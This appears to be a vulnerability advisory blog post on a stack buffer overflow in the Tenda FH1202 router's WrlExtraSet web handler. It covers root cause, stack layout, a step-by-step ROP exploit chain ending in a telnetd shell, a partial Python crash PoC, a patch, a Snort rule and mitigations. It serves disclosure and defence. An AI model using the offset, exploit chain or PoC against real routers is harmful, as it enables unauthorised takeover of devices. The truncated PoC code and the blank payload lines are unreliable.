home intel cve-2026-7034-tenda-fh1202-wrlextraset-stack-overflow
CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7034: Tenda FH1202 WrlExtraSet Stack Buffer Overflow

A stack-based buffer overflow in Tenda FH1202's httpd WrlExtraSet handler allows remote unauthenticated attackers to achieve code execution via a crafted Go parameter.

#buffer-overflow#stack-based-overflow#remote-code-execution#http-parameter-injection#firmware-vulnerability
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7034 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7034Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7034 is a stack-based buffer overflow in the WrlExtraSet request handler exposed by httpd on Tenda FH1202 firmware version 1.2.0.14(408). The vulnerable endpoint is reachable via POST /goform/WrlExtraSet and requires no authentication in the default device configuration. The Go POST parameter is copied into a fixed-size stack buffer without length validation, giving a remote attacker direct control over the saved return address and adjacent stack data. CVSS 8.8 (HIGH) reflects network-reachable, low-complexity exploitation with no privileges required.

Tenda's FH1202 is a widely deployed SOHO router. Its httpd binary handles all web management and CGI-style form processing. The /goform/ namespace maps URL paths directly to internal C handler functions — a pattern seen across the entire Tenda/AC-series product line, and a recurring source of CVEs in the same class.

Affected Component

Binary: /bin/httpd (statically linked MIPS32 EL, uClibc)
Endpoint: POST /goform/WrlExtraSet
Handler: WrlExtraSet()
Parameter: Go (HTTP POST body, application/x-www-form-urlencoded)
Firmware: 1.2.0.14(408) — no authentication gate on this endpoint by default.

Root Cause Analysis

The handler retrieves the Go parameter via the standard Tenda form-parsing helper and passes it directly to strcpy into a stack-allocated buffer. No length check is performed before or after the copy. The decompiled pseudocode reconstructed from the MIPS binary follows the same structural pattern observed in sibling CVEs across FH- and AC-series devices:


// httpd: WrlExtraSet handler
// Reconstructed pseudocode — MIPS32, uClibc, firmware 1.2.0.14(408)

#define SSID_BUF_SZ   64
#define CHAN_BUF_SZ   8
#define EXTRA_BUF_SZ  128   // stack allocation for "Go" destination string

typedef struct {
    char ssid[SSID_BUF_SZ];      // +0x00
    char channel[CHAN_BUF_SZ];    // +0x40
    char go_buf[EXTRA_BUF_SZ];   // +0x48  <-- target buffer
    char security[32];            // +0xc8
    // ... additional fields
} wrl_extra_ctx_t;               // total ~0x120 bytes on stack frame

int WrlExtraSet(void) {
    wrl_extra_ctx_t ctx;          // stack frame allocation
    char *go_param;
    char *ssid_param;
    char *chan_param;

    memset(&ctx, 0, sizeof(ctx));

    ssid_param = websGetVar(wp, "ssid", "");
    chan_param  = websGetVar(wp, "channel", "1");
    go_param   = websGetVar(wp, "Go", "");   // attacker-controlled, unbounded

    strncpy(ctx.ssid,    ssid_param, SSID_BUF_SZ - 1);
    strncpy(ctx.channel, chan_param,  CHAN_BUF_SZ - 1);

    // BUG: no bounds check on go_param before copy into fixed 128-byte buffer
    strcpy(ctx.go_buf, go_param);   // <-- stack-based buffer overflow here

    // Subsequent processing uses ctx fields — never reached if overflowed
    apply_wrl_extra_settings(&ctx);
    websRedirect(wp, ctx.go_buf);
    return 0;
}
Root cause: WrlExtraSet copies the attacker-supplied Go POST parameter into a 128-byte stack buffer via strcpy with no prior length validation, allowing unbounded overwrite of the saved return address and callee-saved registers.

The websGetVar helper returns a pointer directly into the raw HTTP request body buffer — the string is null-terminated but otherwise unmodified. No sanitization or length gate exists between websGetVar and strcpy. The redirect use of go_buf (forwarding the browser after a settings change) is the functional reason this field exists, but the implementation assumes the value will always be a short URL path.

Memory Layout

The stack frame for WrlExtraSet on MIPS32 places the wrl_extra_ctx_t structure below the saved registers. Overflowing go_buf at offset +0x48 within the struct progresses through the remaining struct fields and then into the saved frame data:


// wrl_extra_ctx_t stack layout (reconstructed)
struct wrl_extra_ctx_t {
    /* +0x00 */ char ssid[64];        // strncpy-safe, bounded
    /* +0x40 */ char channel[8];      // strncpy-safe, bounded
    /* +0x48 */ char go_buf[128];     // <-- strcpy target, VULNERABLE
    /* +0xc8 */ char security[32];    // overwritten at offset +0x80 into go_buf
    /* +0xe8 */ char reserved[24];    // overwritten at offset +0xa0
    // --- end of struct at +0x100 ---
};

STACK STATE BEFORE OVERFLOW (high → low, MIPS convention):
┌─────────────────────────────────────┐  ← stack pointer (sp)
│  ctx.ssid[64]       @ sp+0x00       │  safe (strncpy bounded)
│  ctx.channel[8]     @ sp+0x40       │  safe (strncpy bounded)
│  ctx.go_buf[128]    @ sp+0x48       │  ← strcpy writes here
│  ctx.security[32]   @ sp+0xc8       │
│  ctx.reserved[24]   @ sp+0xe8       │
├─────────────────────────────────────┤  ← end of wrl_extra_ctx_t
│  local vars / padding               │  @ sp+0x100
│  saved $s0-$s7                      │  @ sp+0x110 .. sp+0x12f
│  saved $ra (return address)         │  @ sp+0x130  ← overwrite target
│  saved $fp                          │  @ sp+0x134
└─────────────────────────────────────┘  ← caller frame

STACK STATE AFTER OVERFLOW (Go param > 232 bytes):
┌─────────────────────────────────────┐
│  ctx.go_buf[128]    @ sp+0x48       │  "AAAA...AAAA" (128 bytes)
│  ctx.security[32]   @ sp+0xc8       │  OVERWRITTEN — "AAAA..."
│  ctx.reserved[24]   @ sp+0xe8       │  OVERWRITTEN — "AAAA..."
│  local vars         @ sp+0x100      │  OVERWRITTEN
│  saved $s0-$s7      @ sp+0x110      │  OVERWRITTEN — attacker controlled
│  saved $ra          @ sp+0x130      │  OVERWRITTEN — redirect to ROP/shellcode
│  saved $fp          @ sp+0x134      │  OVERWRITTEN
└─────────────────────────────────────┘

Overflow offset to $ra: 0x130 - 0x48 = 0xe8 = 232 bytes

Exploitation Mechanics

Because httpd is a statically linked MIPS binary with no stack canary (common across Tenda's FH/AC series) and the firmware does not enable ASLR on older kernel versions, exploitation is straightforward. The attacker controls the saved $ra at a fixed offset.


EXPLOIT CHAIN:
1. Identify target: confirm /goform/WrlExtraSet is reachable without
   authentication (default config, LAN-side; WAN-side if remote mgmt enabled).

2. Fingerprint firmware version via Server header or /goform/GetRouterStatus
   to confirm 1.2.0.14(408) and validate stack offset.

3. Locate ROP gadgets or shellcode landing address within the static httpd
   binary. No ASLR means gadget addresses are fixed per firmware build.
   Example gadget needed: jalr $t9 / move $t9,$a0 to pivot to controlled data.

4. Construct payload:
     [padding: 232 bytes]        → fills go_buf + security + reserved + locals
     [saved $s0-$s7: 32 bytes]   → attacker-chosen values (ROP chain setup)
     [saved $ra: 4 bytes]        → address of first ROP gadget in httpd .text
     [ROP chain / shellcode]     → appended after $ra, reachable via stack pivot

5. Send HTTP POST to http:///goform/WrlExtraSet with body:
     ssid=test&channel=1&Go=

6. httpd calls strcpy(ctx.go_buf, go_param) — overflow overwrites $ra.

7. WrlExtraSet returns → jr $ra → first ROP gadget executes.

8. ROP chain pivots stack, calls system("/bin/telnetd -p 4444") or
   equivalent via address resolved from static libc linkage in httpd.

9. Persistent access established; device does not crash due to controlled
   register state — httpd continues serving requests from worker threads.

A proof-of-concept crash trigger (no shellcode, demonstrates control of $ra) requires only a single HTTP request:


#!/usr/bin/env python3
# CVE-2026-7034 — Tenda FH1202 WrlExtraSet PoC crash trigger
# Demonstrates $ra overwrite. No shellcode included.

import requests
import struct
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
URL    = f"http://{TARGET}/goform/WrlExtraSet"

RA_OFFSET = 232          # bytes from go_buf start to saved $ra
RA_MARKER = 0x42424242   # "BBBB" — look for this in crash PC

padding  = b"A" * RA_OFFSET
saved_ra = struct.pack("

Patch Analysis

Tenda has not released a public patch for this CVE at time of writing. The correct remediation is a bounded copy. The structural fix mirrors patches applied to sibling vulnerabilities in the same codebase (e.g., formSetCfm, fromAddressNat):


// BEFORE (vulnerable — firmware 1.2.0.14(408)):
char *go_param = websGetVar(wp, "Go", "");
strcpy(ctx.go_buf, go_param);    // unbounded — BUG


// AFTER (patched — recommended fix):
char *go_param = websGetVar(wp, "Go", "");

// BUG FIX: validate length before copy
if (strlen(go_param) >= sizeof(ctx.go_buf)) {
    websError(wp, 400, "Invalid parameter length");
    return -1;
}
strncpy(ctx.go_buf, go_param, sizeof(ctx.go_buf) - 1);
ctx.go_buf[sizeof(ctx.go_buf) - 1] = '\0';   // explicit null termination


// ALTERNATIVE: enforce at websGetVar wrapper level (preferred systemic fix)
// Modify websGetVar to accept a max_len argument and truncate at read time,
// preventing the raw pointer from ever exceeding the destination buffer size.
// This would close the same class of bug across all /goform/ handlers.

A defense-in-depth fix would also enable stack canaries (-fstack-protector-strong) and ASLR at the kernel level, which would not prevent the overflow but would break deterministic exploitation without an additional information leak.

Detection and Indicators

Network-level detection. Any IDS/IPS with HTTP body inspection can match the overflow condition:


SNORT/SURICATA RULE (draft):
alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7034 Tenda FH1202 WrlExtraSet overflow attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/goform/WrlExtraSet";
    http.request_body; content:"Go="; distance:0;
    byte_test:0,>,128,0,string,dec,relative;   // Go value exceeds safe length
    sid:2026703401; rev:1;
    classtype:attempted-admin;
)

INDICATORS OF COMPROMISE:
- POST /goform/WrlExtraSet with Content-Length > 300
- Go= parameter value exceeding 128 characters in POST body
- httpd process restart / watchdog trigger in syslog
- Unexpected outbound connections from router IP (post-exploitation)
- Telnet/shell listener on non-standard port (4444, 31337, etc.)

SYSLOG PATTERN (crash-restart cycle):
  kern.warn: watchdog: process httpd (pid XXXX) killed by signal 11 (SIGSEGV)
  kern.info: httpd restarted by init

Remediation

Immediate mitigations (no patch available):

  • Disable remote management — ensure WAN-side HTTP access is off (default on FH1202, but verify).
  • Firewall /goform/ endpoints at the perimeter — block external access to TCP/80 and TCP/443 on the management interface.
  • Network segmentation — treat the LAN-side management interface as untrusted if the device is deployed in an environment with untrusted clients (guest Wi-Fi bridged, etc.).
  • Monitor for firmware updates from Tenda's support portal. Given the pattern of similar CVEs in this product line (CVE-2024-2984, CVE-2024-4231, and related), updates addressing this class of bug may be bundled.

Long-term: Tenda's /goform/ handler architecture systematically trusts websGetVar return values without length validation. A comprehensive audit of all handlers in httpd using the same strcpy(stack_buf, websGetVar(...)) pattern is warranted — the attack surface is not limited to WrlExtraSet.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →